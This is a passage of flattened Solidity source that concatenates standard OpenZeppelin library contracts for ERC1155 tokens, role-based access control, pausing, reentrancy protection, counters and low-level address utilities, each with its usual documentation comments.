calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `from` * * Requirements: * * - `from` cannot be the zero address. * - `from` must have at least `amount` tokens of token type `id`. */ function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view virtual override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view virtual { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Supply.sol) pragma solidity ^0.8.0; import "../ERC1155.sol"; /** * @dev Extension of ERC1155 that adds tracking of total supply per id. * * Useful for scenarios where Fungible and Non-fungible tokens have to be * clearly identified. Note: While a totalSupply of 1 might mean the * corresponding is an NFT, there is no guarantees that no other token with the * same id are not going to be minted. */ abstract contract ERC1155Supply is ERC1155 { mapping(uint256 => uint256) private _totalSupply; /** * @dev Total amount of tokens in with a given id. */ function totalSupply(uint256 id) public view virtual returns (uint256) { return _totalSupply[id]; } /** * @dev Indicates whether any token exist with a given id, or not. */ function exists(uint256 id) public view virtual returns (bool) { return ERC1155Supply.totalSupply(id) > 0; } /** * @dev See {ERC1155-_beforeTokenTransfer}. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); if (from == address(0)) { for (uint256 i = 0; i < ids.length; ++i) { _totalSupply[ids[i]] += amounts[i]; } } if (to == address(0)) { for (uint256 i = 0; i < ids.length; ++i) { _totalSupply[ids[i]] -= amounts[i]; } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Counters.sol) pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** * @dev Handles the receipt of a single ERC1155 token type. This function is * called at the end of a `safeTransferFrom` after the balance has been updated. * * NOTE: To accept the transfer, this must return * `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` * (i.e. 0xf23a6e61, or its own function selector). * * @param operator The address which initiated the transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param id The ID of the token being transferred * @param value The amount of tokens being transferred * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** * @dev Handles the receipt of a multiple ERC1155 token types. This function * is called at the end of a `safeBatchTransferFrom` after the balances have * been updated. * * NOTE: To accept the transfer(s), this must return * `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` * (i.e. 0xbc197c81, or its own function selector). * * @param operator The address which initiated the batch transfer (i.e. msg.sender) * @param from The address which previously owned the token * @param ids An array containing ids of each token being transferred (order and length must match values array) * @param values An array containing amounts of each token being transferred (order and length must match ids array) * @param data Additional data with no specified format * @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol) pragma solidity ^0.8.0; import "../IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin 